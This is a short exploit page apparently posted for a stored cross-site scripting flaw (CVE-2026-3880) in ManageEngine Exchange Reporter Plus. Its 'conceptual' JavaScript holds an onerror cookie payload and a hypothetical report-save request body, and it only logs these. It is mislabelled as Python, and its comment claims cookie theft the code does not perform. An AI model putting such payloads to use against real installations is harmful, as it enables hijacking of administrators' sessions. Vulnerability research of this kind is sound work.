Zohocorp ManageEngine Exchange Reporter Plus < 5802
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
Conceptual Proof of Concept (PoC) for CVE-2026-3880
Target: Zohocorp ManageEngine Exchange Reporter Plus < 5802
Vulnerable Parameter: Public Folder Client Permissions report fields
-->
<script>
// Simulating an attacker's payload to be injected into the report
// This payload attempts to steal the administrator's session cookie
var payload = '<img src=x onerror=alert(document.cookie)>';
// Function to simulate the HTTP POST request to inject the payload
// In a real scenario, this would be sent to the vulnerable endpoint
function exploit() {
console.log("[+] Injecting payload into Public Folder Client Permissions report...");
// The vulnerable endpoint might look like this (hypothetical)
// POST /servlet/ReportServlet
let data = {
"action": "savePermissions",
"reportName": "Public Folder Client Permissions",
"clientInput": payload // Malicious input inserted here
};
// Log the data that would be sent
console.log("[+] Payload Data:", JSON.stringify(data));
console.log("[+] Waiting for administrator to view the report...");
}
exploit();
</script>